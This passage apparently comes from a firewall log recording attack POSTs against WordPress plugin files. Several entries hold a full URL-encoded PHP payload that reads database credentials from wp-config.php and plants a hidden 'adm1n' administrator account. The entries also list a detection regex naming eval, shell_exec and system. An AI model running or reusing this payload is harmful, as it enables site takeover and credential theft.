w%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:33:43","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:12663\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\n\nQlAazG=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 17:33:55","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jh:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%